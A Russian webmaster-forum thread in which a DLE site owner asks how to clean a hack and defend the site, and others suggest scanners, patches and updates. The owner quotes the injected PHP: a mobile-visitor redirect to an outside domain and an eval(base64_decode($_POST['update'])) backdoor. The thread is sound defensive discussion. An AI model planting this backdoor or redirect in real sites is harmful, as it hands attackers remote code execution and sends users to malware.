- Поисковые системы
- Практика оптимизации
- Трафик для сайтов
- Монетизация сайтов
- Сайтостроение
- Социальный Маркетинг
- Общение профессионалов
- Биржа и продажа
- Финансовые объявления
- Работа на постоянной основе
- Сайты - покупка, продажа
- Соцсети: страницы, группы, приложения
- Сайты без доменов
- Трафик, тизерная и баннерная реклама
- Продажа, оценка, регистрация доменов
- Ссылки - обмен, покупка, продажа
- Программы и скрипты
- Размещение статей
- Инфопродукты
- Прочие цифровые товары
- Работа и услуги для вебмастера
- Оптимизация, продвижение и аудит
- Ведение рекламных кампаний
- Услуги в области SMM
- Программирование
- Администрирование серверов и сайтов
- Прокси, ВПН, анонимайзеры, IP
- Платное обучение, вебинары
- Регистрация в каталогах
- Копирайтинг, переводы
- Дизайн
- Usability: консультации и аудит
- Изготовление сайтов
- Наполнение сайтов
- Прочие услуги
- Не про работу
Как удалить плохие SEO-ссылки и очистить ссылочную массу сайта
Применяем отклонение ссылок
Сервис Rookee
Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий
В файлах index.php, engine/data/dbconfig.php
вначале файла вставил кто-то огромный кусок кода:
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://uanetru.com/');if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));
Таких строчек дофига
+ аналогичный код присутствует в htaccess (только в виде правил для редиректа)
Как починить сайт и защититься? Где найти уязвимость? Странно как могли вставить этот код ведь права на все эти файлы 644
---------- Добавлено 16.07.2014 в 02:18 ----------
+ как просканировать все файлы сайта на предмет левого кода?
virustotal.com показывает что на сайте 4 вируса
ADMINUSLabs Malicious site
ESET Malware site
Fortinet Malware site
Yandex Safebrowsing Malware site
Как выявить эти вирусы на сайте?
Скрипт Ай-Болит от всей нечести защитит )
Скрипт Ай-Болит от всей нечести защитит )
Не защитит. Читайте мануал.
Удалит некоторые известные ему явно вредносные скрипты, которые потом снова появятся.
обновил ДЛЕ, прогнал айболитом, удалил все что нашел айболит.
Сейчас при заходе на сайт снова ругается нод32:
ESET NOD32 Antivirus
Обнаружена угроза
Доступ к веб-странице заблокирован.
Угроза: HTML/ScrInject.B.Gen вирус
virustotal.com показывает 3 вируса:
Fortinet Malware site
Google Safebrowsing Malware site
Yandex Safebrowsing Malware site
Как их понаходить эти вирусы?
Так а логи посмотреть не как чтоль на хостинге? А так советую купить лицензию, если сайт стоящий!
Что даст просмотр логов? Вирус мог быть устнаовлен мне например год назад. И в логах этого давно нет
если не установлены модули, то обновляемся минимум до 10.1 версии и все
---------- Добавлено 22.07.2014 в 22:25 ----------
и чистим шаблон
можно не обновляться, достаточно почистить от вставок и поставить патчи безопасности.
Что даст просмотр логов?
Вирус мог быть устнаовлен мне например год назад
обновил ДЛЕ
На сколько я знаю при обновлении обычно старые файлы заменяются на новые? Или вы как обновлялись?